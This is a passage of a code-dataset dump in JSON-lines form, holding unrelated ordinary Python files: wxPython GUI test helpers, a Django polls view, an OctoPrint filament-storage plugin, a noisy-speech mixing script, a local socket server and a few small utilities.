evt.SetId(listctrl.GetId())\n evt.SetEventType(evt_type)\n evt.SetEventObject(listctrl)\n helper.post_event(listctrl, evt)\n\n @staticmethod\n def left_click_an_item_by_label(listctrl, col_label, label):\n \"\"\"Test event wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n Args:\n col_label: column header name\n label: clicked cell value\n \"\"\"\n n_col = TListCtrl._get_col_num(listctrl, col_label)\n assert n_col != -1\n index = TListCtrl._find_item(listctrl, n_col, label)\n TListCtrl._unselect_all(listctrl)\n TListCtrl._select_an_item_by_pos(listctrl, index)\n\n @staticmethod\n def left_click_an_item_by_label_with_ctrl(listctrl, col_label, label):\n \"\"\"Test event wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n Args:\n col_label: column header name\n label: clicked cell value\n \"\"\"\n n_col = TListCtrl._get_col_num(listctrl, col_label)\n assert n_col != -1\n index = TListCtrl._find_item(listctrl, n_col, label)\n state = listctrl.GetItemState(index, wx.LIST_STATE_SELECTED)\n if not state:\n TListCtrl._select_an_item_by_pos(listctrl, index)\n else:\n TListCtrl._unselect_an_item_by_pos(listctrl, index)\n\n @staticmethod\n def right_click_an_item_by_label(listctrl, col_label, label):\n \"\"\"Test event wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n Args:\n col_label: column header name\n label: clicked cell value\n \"\"\"\n n_col = TListCtrl._get_col_num(listctrl, col_label)\n assert n_col != -1\n index = TListCtrl._find_item(listctrl, n_col, label)\n state = listctrl.GetItemState(index, wx.LIST_STATE_SELECTED)\n if not state:\n TListCtrl._unselect_all(listctrl)\n TListCtrl._select_an_item_by_pos(listctrl, index)\n evt_type = wx.wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n TListCtrl._post_event(listctrl, index, evt_type)\n\n @staticmethod\n def right_click_an_item_by_label_with_ctrl(listctrl, col_label, label):\n \"\"\"Test event wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n Args:\n col_label: column header name\n label: clicked cell value\n \"\"\"\n n_col = TListCtrl._get_col_num(listctrl, col_label)\n assert n_col != -1\n index = TListCtrl._find_item(listctrl, n_col, label)\n evt_type = wx.wxEVT_COMMAND_LIST_ITEM_RIGHT_CLICK\n TListCtrl._post_event(listctrl, index, evt_type)\n\n @staticmethod\n def activate_an_item(listctrl, col_label, label):\n \"\"\"Test event wxEVT_COMMAND_LIST_ITEM_ACTIVATED\n Args:\n col_label: column header name\n label: clicked cell value\n \"\"\"\n index = TListCtrl._get_item(listctrl, col_label, label)\n evt_type = wx.wxEVT_COMMAND_LIST_ITEM_ACTIVATED\n TListCtrl._post_event(listctrl, index, evt_type)\n\n @staticmethod\n def click_col_header_by_pos(listctrl, col):\n \"\"\"Test event wxEVT_COMMAND_LIST_COL_CLICK\n Args:\n col: index of column clicked\n \"\"\"\n assert col >= 0 and col <= listctrl.GetColumnCount()\n evt = wx.ListEvent(wx.wxEVT_COMMAND_LIST_COL_CLICK)\n evt.SetId(listctrl.GetId())\n evt.m_col = col\n helper.post_event(listctrl, evt)\n\n\nclass TTreeCtrl(object):\n \"\"\"\n Test wxTreeCtrl\n Actions:\n left_click(self, tuple_labels)\n left_double_click(self, tuple_labels)\n right_click(self, tuple_labels)\n \"\"\"\n\n @staticmethod\n def _post_event_of_item(treectrl, item, eventtype):\n \"\"\"Post event with item to treectrl\n \"\"\"\n evt = wx.TreeEvent(eventtype, treectrl.GetId())\n evt.SetItem(item)\n helper.post_event(treectrl, evt)\n\n @staticmethod\n def _get_child_items(treectrl, item):\n \"\"\"Get child items\n \"\"\"\n items = []\n child, cookie = treectrl.GetFirstChild(item)\n while child.IsOk():\n items.append(child)\n child, cookie = treectrl.GetNextChild(item, cookie)\n return tuple(items)\n\n @staticmethod\n def _is_item_match(treectrl, item, label):\n \"\"\"check if item text matches label\n \"\"\"\n return helper.str_match_wildcard(treectrl.GetItemText(item), label)\n\n @staticmethod\n def _filter_items(treectrl, items, label):\n \"\"\"Filter items with label\n \"\"\"\n result = []\n for item in items:\n if TTreeCtrl._is_item_match(treectrl, item, label):\n result.append(item)\n return result\n\n @staticmethod\n def _find_item(treectrl, tuple_labels):\n \"\"\"Find item matches labels tuple (root, ..., ...)\n \"\"\"\n root = treectrl.GetRootItem()\n if treectrl.HasFlag(wx.TR_HIDE_ROOT):\n treectrl.Expand(root)\n alter_items = list(TTreeCtrl._get_child_items(treectrl, root))\n else:\n alter_items = [root]\n\n matched_items = TTreeCtrl._filter_items(treectrl, \n alter_items, tuple_labels[0])\n index = 1\n while matched_items and index != len(tuple_labels):\n label = tuple_labels[index]\n alter_items = []\n for item in matched_items:\n treectrl.Expand(item)\n alter_items.extend(TTreeCtrl._get_child_items(treectrl, item))\n matched_items = TTreeCtrl._filter_items(treectrl, \n alter_items, label)\n index += 1\n\n if len(matched_items) != 1:\n raise RuntimeError(\"Unexpected tree item match.\")\n return alter_items[0]\n\n @staticmethod\n def left_click(treectrl, tuple_labels):\n \"\"\"Left click item\n Args:\n tuple_labels: (root, ...)\n \"\"\"\n item = TTreeCtrl._find_item(treectrl, tuple_labels)\n TTreeCtrl._post_event_of_item(treectrl, item, \n wx.wxEVT_COMMAND_TREE_SEL_CHANGING)\n treectrl.SelectItem(item)\n TTreeCtrl._post_event_of_item(treectrl, item, \n wx.wxEVT_COMMAND_TREE_SEL_CHANGED)\n\n @staticmethod\n def left_double_click(treectrl, tuple_labels):\n \"\"\"Left double click item\n Args:\n tuple_labels: (root, ...)\n \"\"\"\n item = TTreeCtrl._find_item(treectrl, tuple_labels)\n TTreeCtrl._post_event_of_item(treectrl, item, \n wx.wxEVT_COMMAND_TREE_ITEM_ACTIVATED)\n\n @staticmethod\n def right_click(treectrl, tuple_labels):\n \"\"\"Right click item\n Args:\n tuple_labels: (root, ...)\n \"\"\"\n item = TTreeCtrl._find_item(treectrl, tuple_labels)\n TTreeCtrl._post_event_of_item(treectrl, item,\n wx.wxEVT_COMMAND_TREE_ITEM_RIGHT_CLICK)\n\n\n\nclass TListBox(object):\n \"\"\"Test wxListBox\n Methods:\n select_by_pos: emit event wxEVT_COMMAND_LISTBOX_SELECTED\n select_by_label\n \"\"\"\n\n @staticmethod\n def select_by_pos(list_box, index):\n \"\"\"post event wxEVT_COMMAND_LISTBOX_SELECTED\n Args:\n index: index integer\n \"\"\"\n count = list_box.GetCount()\n assert index >= 0 and index < count\n list_box.DeselectAll()\n list_box.SetSelection(index, True)\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_LISTBOX_SELECTED,\n list_box.GetId())\n evt.SetInt(index)\n helper.post_event(list_box, evt)\n\n @staticmethod\n def select_by_label(list_box, label):\n '''select listbox item by label\n Args:\n label: lebel string\n '''\n items = list_box.GetStrings()\n for index, value in enumerate(items):\n if not helper.str_match_wildcard(value, label):\n continue\n TListBox.select_by_pos(list_box, index)\n return\n\n\nclass TToolBar(object):\n '''Test wx.ToolBar\n Methods:\n click_item : tooltip / label \n toggle_item : tooltip / label\n '''\n @staticmethod\n def _find_item(toolbar, tips):\n '''find item in toolbar by tips\n '''\n tool_count = toolbar.GetToolsCount()\n\n for pos in xrange(tool_count):\n tool_item = toolbar.GetToolByPos(pos)\n if not tool_item:\n continue\n tool_control = toolbar.FindControl(tool_item.GetId())\n\n if helper.str_match_wildcard(tool_item.GetLabel().strip(), tips) or \\\n helper.str_match_wildcard(tool_item.GetShortHelp().strip(), tips) or \\\n helper.str_match_wildcard(tool_item.GetLongHelp().strip(), tips):\n return tool_item\n elif (tool_control and\n helper.str_match_wildcard(tool_control.GetToolTip().GetTip().strip(), tips)):\n return tool_control\n\n return None\n\n @staticmethod\n def click_item(toolbar, tips):\n '''click item of toolbar by tips\n '''\n tool_item = TToolBar._find_item(toolbar, tips)\n if not tool_item:\n raise RuntimeError(\"can't find item with %s \" % tips)\n\n if isinstance(tool_item, wx.Control): #for control in toolbar\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED,\n tool_item.GetId())\n else:\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_MENU_SELECTED,\n tool_item.GetId())\n helper.post_event(toolbar, evt)\n\n @staticmethod\n def toggle_item(toolbar, tips, b_toggle=True):\n '''click item and toggle it by tips\n '''\n tool_item = TToolBar._find_item(toolbar, tips)\n if not tool_item:\n raise RuntimeError(\"can't find item with %s \" % tips)\n\n toolbar.ToggleTool(tool_item.GetId(), b_toggle)\n evt = wx.CommandEvent(wx.wxEVT_COMMAND_MENU_SELECTED,\n tool_item.GetId())\n helper.post_event(toolbar, evt)\n\n\nclass TNotebook(object):\n \"\"\"Action for wxNotebook\n Methods:\n click_page_by_pos(pos)\n click_page_by_label(str_label)\n \"\"\"\n\n @staticmethod\n def click_page_by_pos(notebook, pos):\n \"\"\"click a page in wxNotebook by position\"\"\"\n if pos < 0 or pos >= notebook.GetPageCount():\n raise RuntimeError('The position is wrong!')\n\n if pos != notebook.GetSelection():\n notebook.SetSelection(pos)\n\n @staticmethod\n def click_page_by_label(notebook, str_label):\n \"\"\"click a page in wxNotebook by label string\"\"\"\n pos = -1\n for i in xrange(notebook.GetPageCount()):\n if helper.str_match_wildcard(notebook.GetPageText(i).strip(), str_label):\n pos = i\n break\n if pos >= 0:\n TNotebook.click_page_by_pos(notebook, pos)\n else:\n raise RuntimeError(\"No page named '%s'\" % str_label)\n\n @staticmethod\n def get_page_by_pos(notebook, pos):\n \"\"\"get page panel by position\n :param pos: int\n :return: wx.Panel\n \"\"\"\n if not isinstance(pos, int) or pos < 0\\\n or pos >= notebook.GetPageCount():\n raise RuntimeError('The giving position is wrong!')\n\n return notebook.GetPage(pos)\n\n @staticmethod\n def get_page_by_label(notebook, str_label):\n \"\"\"get page panel by label\n :param str_label: string\n :return: wx.Panel\n \"\"\"\n pos = -1\n for i in xrange(notebook.GetPageCount()):\n if helper.str_match_wildcard(notebook.GetPageText(i).strip(),\n str_label):\n pos = i\n break\n if pos >= 0:\n return notebook.GetPage(pos)\n else:\n raise RuntimeError(\"No page named '%s'\" % str_label)\n","sub_path":"py/wxatf/wxactions/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":25548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"600732043","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import F\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404\nfrom django.template.response import TemplateResponse\nfrom django.template import RequestContext\nfrom django.views.decorators.http import require_POST\nfrom forms import PollForm\nfrom models import Poll, Choice, check_can_vote, record_vote\n\n\n@require_POST\ndef post(request, pk):\n\tpoll = get_object_or_404(Poll, pk = pk)\n\n\ttag = request.POST.get('msg_id', 'polls')\n\n\tif not poll.approved:\n\t\tmessages.error(request, 'Anketa nie je schválená.', extra_tags = tag)\n\t\treturn HttpResponseRedirect(request.POST['next'])\n\n\tif not 'choice' in request.POST:\n\t\tmessages.error(request, 'Vyberte prosím odpoveď.', extra_tags = tag)\n\t\treturn HttpResponseRedirect(request.POST['next'])\n\n\tif not poll.checkbox:\n\t\tchoices = [int(request.POST['choice'])]\n\n\tif poll.checkbox:\n\t\tchoices = [int(choice) for choice in request.POST.getlist('choice')]\n\t\tif len(choices) == 0:\n\t\t\tmessages.error(request, 'Vyberte prosím odpoveď.', extra_tags = tag)\n\t\t\treturn HttpResponseRedirect(request.POST['next'])\n\n\tif not check_can_vote(request, poll):\n\t\tmessages.error(request, 'Hlasovať je možné len raz.', extra_tags = tag)\n\t\treturn HttpResponseRedirect(request.POST['next'])\n\n\tchoice_objects = poll.choice_set.order_by('pk').values_list('pk', flat = True)\n\tupdate_choice_objects = []\n\tfor choice in choices:\n\t\tupdate_choice_objects.append(choice_objects[choice])\n\n\tPoll.objects.filter(pk = poll.pk).update(choice_count = F('choice_count') + 1)\n\tpoll.choice_set.filter(pk__in = update_choice_objects).update(votes = F('votes') + 1)\n\n\trecord_vote(request, poll)\n\n\tmessages.success(request, 'Hlas bol prijatý.', extra_tags = tag)\n\treturn HttpResponseRedirect(request.POST['next'])\n\n\n@login_required\ndef create(request):\n\tif request.method == 'POST':\n\t\tform = PollForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tpoll = form.save(commit = False)\n\t\t\tpoll.save()\n\t\t\tchoices = [Choice(poll = poll, choice = a['choice']) for a in form.cleaned_data['choices']]\n\t\t\tChoice.objects.bulk_create(choices)\n\t\t\treturn HttpResponseRedirect(poll.get_absolute_url())\n\telse:\n\t\tform = PollForm()\n\n\tcontext = {\n\t\t'form': form\n\t}\n\treturn TemplateResponse(request, \"polls/poll_create.html\", RequestContext(request, context))\n\n\ndef poll_detail_by_slug(request, slug):\n\tpoll = get_object_or_404(Poll, slug = slug, content_type = None)\n\tcontext = {\n\t\t'poll': poll\n\t}\n\treturn TemplateResponse(request, \"polls/poll_detail.html\", RequestContext(request, context))\n\n\ndef poll_list(request, page = 1):\n\tcontext = {\n\t\t'polls': Poll.objects.all(),\n\t\t'pagenum': page,\n\t}\n\treturn TemplateResponse(request, \"polls/poll_list.html\", RequestContext(request, context))\n","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"340329725","text":"from EveconLib.Config.StaticVar import *\nfrom EveconLib.Config.EveconVar import *\n\n\n\nloadFull = False\n\n# user debug config\nsuppressErros = False\nalwaysPrintLog = False\n\n\n# startup\nimport configparser\nimport os\n\n\nstartProgramm = os.getcwd() + path_seg + \"!Evecon\" + path_seg + \"dev\" + path_seg + \"!Console.py\" # TODO MAKE THIS AUTOMATIC\n\n\nfile_versions = []\nfile_version = code_version\ndef refreshVersion():\n global file_versions\n if not os.path.exists(versionFile):\n file_versions = [0, \"0.0.0.0\", \"0.0.0.0\"]\n file_version = \"0.0.0.0\"\n return\n with open(versionFile, \"r\") as file_version_raw:\n file_versions = file_version_raw.readlines()\n del file_version_raw\n file_versions.append(code_version)\n\n file_version = file_versions[1]\n\nvalidEnv = False\ndef testEnv():\n global validEnv\n #print(os.path.exists(usedPortsFile), os.path.exists(backupMusicFile))\n if os.path.exists(usedPortsFile) and os.path.exists(backupMusicFile):\n validEnv = True\n return True\n else:\n validEnv = False\n\n if suppressErros:\n print(\"Invalid Enviroment!\")\n else:\n input(\"Invalid Enviroment!\\nYou can go on (Enter), but something could happen\")\n return False\n\n\ndef readConfig():\n global browser, musicrandom, enable_FoxNhe, thisIP, cores, foxORnhe, firefox_path, vivaldi_path\n config = configparser.ConfigParser()\n config.read(\"data\" + path_seg + \"Config\" + path_seg + \"config.ini\")\n try:\n enable_FoxNhe_tmp = config[\"FoxNhe\"][\"enable_FoxNhe\"]\n if enable_FoxNhe_tmp == \"True\":\n enable_FoxNhe = True\n elif enable_FoxNhe_tmp == \"False\":\n enable_FoxNhe = False\n foxORnhe = config[\"FoxNhe\"][\"foxORnhe\"]\n\n musicrandom_tmp = config[\"Music\"][\"random\"]\n if musicrandom_tmp == \"True\":\n musicrandom = True\n elif musicrandom_tmp == \"False\":\n musicrandom = False\n\n\n thisIP = config[\"PC\"][\"thisIP\"]\n\n cores = int(config[\"PC\"][\"cores\"])\n\n browser = config[\"Notepad\"][\"browser\"]\n firefox_path = config[\"Browser\"][\"firefox_path\"]\n vivaldi_path = config[\"Browser\"][\"vivaldi_path\"]\n except KeyError:\n if suppressErros:\n print(\"Config Error something crashed!\")\n else:\n input(\"Config Error something crashed!\\nYou can go on (Enter), but something could happen\")\n\n\nif os.path.exists(\"!Console.py\") and os.path.exists(\"EveconLib\"):\n myType = \"python_file\"\nelif os.path.exists(\"!Console.exe\") and not os.path.exists(\"!Console.exe.manifest\"):\n myType = \"standalone_exe\"\nelif os.path.exists(\"!Console.exe\") and os.path.exists(\"!Console.exe.manifest\"):\n myType = \"lib_exe\"\n\nimport socket\n\nComputername = socket.gethostname()\n\nif Computername == \"Computer-Testet\":\n computer = \"MiniPC\"\n HomePC = True\n\nelif Computername == \"Bigger-PC\":\n computer = \"BigPC\"\n HomePC = True\n\nelif Computername == \"Test\":\n computer = \"AldiPC\"\n\nelif Computername == \"Luis\":\n computer = \"Laptop\"\n\nelse:\n computer = None\n\n\nrefreshVersion()\n# test environment\nif not testEnv():\n newEnv = None\n if os.path.exists(\"stdenv\"): # config file (for linux) EveconLib/Config/stdenv contains path to std env\n with open(\"stdenv\") as file:\n lines = file.readlines()\n if lines:\n if os.path.exists(lines[0]):\n newEnv = lines[0]\n\n if newEnv:\n environmentPath = newEnv.rsplit(path_seg) + path_seg\n\n# TODO make the current path independent! => load the path in var environPath and use it every time!!\n\n# read config\n\nreadConfig()","sub_path":"EveconLib/Config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"507458754","text":"\"\"\"\nCustom rules to validate specific files\n\"\"\"\nimport pkg_resources\n\n\ndef expand_asset_model(d, section, subsection):\n value = d[section][subsection]\n\n # if root_folder, expand and return\n if '$ROOT_FOLDER' in value:\n root = d['data']['root_folder']\n return value.replace('$ROOT_FOLDER', root)\n\n # if absolute path, just return the value\n elif value.startswith('/'):\n return value\n\n # else, look into assets\n else:\n path = 'assets/models/{}'.format(value)\n return pkg_resources.resource_filename('yass', path)\n","sub_path":"src/yass/config/custom_rules.py","file_name":"custom_rules.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"382185655","text":"##############################################################################\n#\n# Copyright (c) 2004 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Home Folder Interfaces\n\n$Id$\n\"\"\"\n__docformat__ = \"reStructuredText\"\n\nfrom zope.interface import Interface\nfrom zope.schema import Field, Bool, Choice\nfrom zope.app.homefolder.i18n import _\n\nclass IHomeFolder(Interface):\n \"\"\"Describes the home directory of a principal.\"\"\"\n\n homeFolder = Field(\n title=_(\"Home Folder\"),\n description=_(\"The principal's home folder; if none has been \"\n \"defined, this attribute will be `None`.\"))\n\n\nclass IHomeFolderManager(Interface):\n \"\"\"Home Folder Manager\n\n This utility manages the assignments of home folders to principals. It\n will create and expect all\n \"\"\"\n\n homeFolderBase = Field(\n title=_(\"Base Folder\"),\n description=_(\"The Base Folder for the Principal Home Folder.\"),\n required=True)\n\n createHomeFolder = Bool(\n title=_(\"Create Home Folder\"),\n description=_(\"Whether home folders should be created upon adding \"\n \"a assignment, if missing.\"),\n required=True,\n default=True)\n\n autoCreateAssignment = Bool(\n title=_(\"Auto create assignment\"),\n description=_(\"Whether assignment and folder should be created when \"\n \"calling getHomeFolder, if not existing.\"),\n required=True,\n default=False)\n\n homeFolderRole = Choice(\n title=_(\"Local Home Folder Role\"),\n description=_(\"The local role that the user will have in \"\n \"its home folder. This role is only set on folders \"\n \"that are created by the manager.\"),\n vocabulary=\"Role Ids\",\n default=u'zope.Manager'\n )\n\n containerObject = Field(\n title=_(\"Container Type to create\"),\n description=_(\"The container type that will be created upon first \"\n \"call of getHomeFolder (if autoCreate is on)\"),\n required=True,\n default=u'zope.app.folder.Folder'\n )\n\n\n def assignHomeFolder(principalId, folderName=None, create=None):\n \"\"\"Assigns a particular folder as the home folder of a principal.\n\n If the `folderName` is `None`, then the principal id will be used as\n the folder name.\n\n If `createHomeFolder` or `create` is set to `True`, the method is also\n responsible for creating the folder. During creation, the principal\n should get manager rights inside the folder. If `create` is\n specifically set to `False`, then the folder is never created even if\n `createHomeFolder` is `True`.\n \"\"\"\n\n def unassignHomeFolder(principalId, delete=False):\n \"\"\"Remove a home folder assignment.\n\n If `delete` is `True`, then delete the home folder including all of\n its content.\n \"\"\"\n\n def getHomeFolder(principalId):\n \"\"\"Get the home folder instance of the specified principal.\n\n If a assignment does not exist and `autoCreateAssignment` is set to\n `True`, then create the assignment and the homefolder. The homefolder\n will always be created regardless of the value of createHomeFolder.\n The folder will be given the same name like the principalId.\n\n During creation, the principal should get the rights specified in\n homeFolderRole inside the folder.\n\n If the home folder does not exist and `autoCreateAssignment` is set to\n `False`, then return `None`.\n \"\"\"\n","sub_path":"zope.app.homefolder/tags/3.5.0/src/zope/app/homefolder/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"146385339","text":"# #encoding=utf-8\n# import jieba\n#\n#\n# content = open('D://TestAI.txt', 'rb').read()\n#\n# print(\"Input:\", content)\n#\n# words = jieba.cut(content, cut_all=False)\n#\n# print(\"Output 精確模式 Full Mode:\")\n# for word in words:\n# print(word)\n#\n\n#encoding=utf-8\nimport jieba\nimport jieba.analyse\n\n\ncontent = open('D://TestBD.txt', 'rb').read()\n\njieba.analyse.set_stop_words('D:\\\\words\\\\stopwords.txt')\n\ntags = jieba.analyse.extract_tags(content, 500)\nf = open('D:\\\\words\\\\BD.txt', 'a', encoding='UTF-8')\nf.write(\",\".join(tags))","sub_path":"jiebaBD.py","file_name":"jiebaBD.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"73146535","text":"# coding=utf-8\nfrom __future__ import absolute_import\n\nimport octoprint.plugin\nimport re\nimport flask\nfrom . import Connection\n\nEXTRUSION_EXPRESSION = \".*G[0|1] .*E[+]*([\\\\-0-9]+[.]*[0-9]*).*\"\nextrusionPattern = re.compile(EXTRUSION_EXPRESSION)\n\n\nclass FilamentstoragePlugin(octoprint.plugin.StartupPlugin,\n\t\t\t\t\t\t\toctoprint.plugin.SettingsPlugin,\n\t\t\t\t\t\t\toctoprint.plugin.AssetPlugin,\n\t\t\t\t\t\t\toctoprint.plugin.SimpleApiPlugin,\n\t\t\t\t\t\t\toctoprint.plugin.TemplatePlugin):\n\n\t# ~~ StartupPlugin mixin\n\n\tdef on_after_startup(self):\n\t\tself._logger.info(\"Attempting to connect to Filament Storage Container...\")\n\t\tself.conn = Connection.Connection(self)\n\t\tif self.conn.is_connected():\n\t\t\tself._logger.info(\"Connected to Filament Storage Container!\")\n\t\telse:\n\t\t\tself._logger.error(\"Could not connect to Filament Storage Container!\")\n\n\t# ~~ SettingsPlugin mixin\n\n\tdef get_settings_defaults(self):\n\t\treturn dict(\n\t\t\tmaxT=80,\n\t\t\tmaxH=5,\n\t\t\textrusionMismatchPause=False,\n\t\t\textrusionMismatchMax=25,\n\t\t\thumidityPause=False,\n\t\t\thumidityWarnPercentage=25,\n\t\t\thumidityPausePercentage=30,\n\t\t)\n\n\t# ~~ AssetPlugin mixin\n\n\tdef get_assets(self):\n\t\t# Define your plugin's asset files to automatically include in the\n\t\t# core UI here.\n\t\treturn dict(\n\t\t\tjs=[\"js/filamentstorage.js\"],\n\t\t\tcss=[\"css/filamentstorage.css\"],\n\t\t)\n\n\t# ~~ SimpleApiPlugin mixin\n\n\tdef get_api_commands(self):\n\t\treturn dict(\n\t\t\tconnect=[],\n\t\t\tresponse=[\"data\"],\n\t\t\tcalibrate=[\"id\"],\n\t\t\tset=[\"name\", \"value\"],\n\t\t\ttare=[\"id\"],\n\t\t\tzero=[\"id\"],\n\t\t\treset=[],\n\t\t)\n\n\tdef on_api_command(self, command, payload):\n\t\ttry:\n\t\t\tdata = None\n\t\t\tif command == \"connect\":\n\t\t\t\tself.conn.connect()\n\t\t\tif command == \"reset\":\n\t\t\t\tself.conn.reset_extrusion()\n\t\t\telif command == \"response\":\n\t\t\t\tself.conn.send(payload[\"data\"])\n\t\t\telif command == \"set\":\n\t\t\t\tself.conn.set(payload[\"name\"], payload[\"value\"])\n\t\t\telif command == \"calibrate\":\n\t\t\t\tself.conn.calibrate(payload[\"id\"])\n\t\t\telif command == \"tare\":\n\t\t\t\tself.conn.tare(payload[\"id\"])\n\t\t\telif command == \"zero\":\n\t\t\t\tself.conn.zero(payload[\"id\"])\n\t\t\tresponse = \"POST request (%s) successful\" % command\n\t\t\treturn flask.jsonify(response=response, data=data, status=200), 200\n\t\texcept Exception as e:\n\t\t\terror = str(e)\n\t\t\tself._logger.info(\"Exception message: %s\" % str(e))\n\t\t\treturn flask.jsonify(error=error, status=500), 500\n\n\t# ~~ Gcode Processor hook\n\n\tdef process_line(self, comm_instance, phase, cmd, cmd_type, gcode, subcode=None, tags=None, *args, **kwargs):\n\t\tmatch = extrusionPattern.match(cmd)\n\t\tif match:\n\t\t\tself.conn.monitor_gcode_extrusion(match.group(1))\n\n\t# ~~ SoftwareUpdate hook\n\n\tdef get_update_information(self):\n\t\t# Define the configuration for your plugin to use with the Software Update\n\t\t# Plugin here. See https://github.com/foosel/OctoPrint/wiki/Plugin:-Software-Update\n\t\t# for details.\n\t\treturn dict(\n\t\t\tfilamentstorage=dict(\n\t\t\t\tdisplayName=\"Filament Storage\",\n\t\t\t\tdisplayVersion=self._plugin_version,\n\n\t\t\t\t# version check: github repository\n\t\t\t\ttype=\"github_release\",\n\t\t\t\tuser=\"waltmoorhouse\",\n\t\t\t\trepo=\"OctoPrint-Filamentstorage\",\n\t\t\t\tcurrent=self._plugin_version,\n\n\t\t\t\t# update method: pip\n\t\t\t\tpip=\"https://github.com/waltmoorhouse/OctoPrint-Filamentstorage/archive/{target_version}.zip\"\n\t\t\t)\n\t\t)\n\n\tdef get_template_configs(self):\n\t\treturn [\n\t\t\tdict(type=\"settings\", custom_bindings=False),\n\t\t]\n\n\n# If you want your plugin to be registered within OctoPrint under a different name than what you defined in setup.py\n# (\"OctoPrint-PluginSkeleton\"), you may define that here. Same goes for the other metadata derived from setup.py that\n# can be overwritten via __plugin_xyz__ control properties. See the documentation for that.\n__plugin_name__ = \"Filament Storage\"\n\n\ndef __plugin_load__():\n\tglobal __plugin_implementation__\n\t__plugin_implementation__ = FilamentstoragePlugin()\n\n\tglobal __plugin_hooks__\n\t__plugin_hooks__ = {\n\t\t\"octoprint.plugin.softwareupdate.check_config\": __plugin_implementation__.get_update_information,\n\t\t\"octoprint.comm.protocol.gcode.sent\": __plugin_implementation__.process_line\n\t}\n","sub_path":"octoprint_filamentstorage/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"512474650","text":"import socket\nimport sys\n\n# Create a TCP/IP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Bind the socket to the address given on the command line\nserver_address = ('127.0.0.1', 10000)\nsock.bind(server_address)\nprint >>sys.stderr, 'starting up on %s port %s' % sock.getsockname()\nsock.listen(1)\n\nepics = {\n \"ramayana\" : \"Rama, Sita, Bharata, Lakshmana, Shatrugna, Hanuma\",\n \"mahabharata\" : \"Krishna, Pandavas, Kauravas, Bhishma, ...\",\n \"bhagavatam\" : \"Devaki, Vasudeva, Krishna, Balarama, Kamsa, Gadendra, ...\"\n }\n\nwhile True:\n print >>sys.stderr, 'waiting for a connection'\n connection, client_address = sock.accept()\n try:\n print >>sys.stderr, 'client connected:', client_address\n while True:\n data = connection.recv(128)\n print >>sys.stderr, 'received \"%s\"' % data\n if (data):\n resp = data.lower()\n if((len(resp) > 0) and (resp in epics)):\n resp = epics[resp]\n else:\n resp = \"Not Available\"\n print >>sys.stderr, 'sent \"%s\"' % resp\n connection.sendall(resp)\n else:\n break\n finally:\n connection.close()\n","sub_path":"py/misc/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613660486","text":"import glob\nimport numpy as np\nimport soundfile as sf\nimport os\nimport argparse\nimport librosa\nimport configparser as CP\nfrom audiolib import audioread, audiowrite, snr_mixer\n\ndef main(cfg):\n # the output directory\n output_dir = str(cfg['output_dir'])\n # clean speech base directory\n clean_dir = str(cfg['speech_dir'])\n # noise train directory\n noise_dir = os.path.join(os.path.dirname(__file__), 'noise_train')\n # signal to noise ratio don't know why this does not work\n # snr = int(cfg['SNR'])\n\n for i in ['Female', 'Male']:\n path = os.path.join(clean_dir, i)\n output_dir_1 = os.path.join(output_dir, i)\n for actor_name in os.listdir(path):\n actor_dir = os.path.join(path, actor_name)\n output_dir_2 = os.path.join(output_dir_1, actor_name)\n if not os.path.exists(output_dir_2):\n os.mkdir(output_dir_2)\n for f_clean in glob.glob(os.path.join(actor_dir, '*.wav')):\n clean_samples, clean_sampling_rate = librosa.load(f_clean, sr = None)\n for f_noise in glob.glob(os.path.join(noise_dir, '*.wav')):\n noisy_samples, noisy_sampling_rate = librosa.load(f_noise, sr = clean_sampling_rate)\n # cut the noise samples, will cut further\n noisy_samples = noisy_samples[:noisy_sampling_rate * ((len(clean_samples)//clean_sampling_rate) + 1)]\n if len(noisy_samples)>=len(clean_samples):\n # print(\"Yes!\")\n noisy_samples = noisy_samples[0:len(clean_samples)]\n else:\n while len(noisy_samples) 0:\n words += [word] \n if len(tag) == len(word): # Special case for when eating rest of word\n break\n tag = tag[len(word):]\n word = FindWord(tag, wordlist)\n return \" \".join(words)\n\n\ndef FindWord(token, 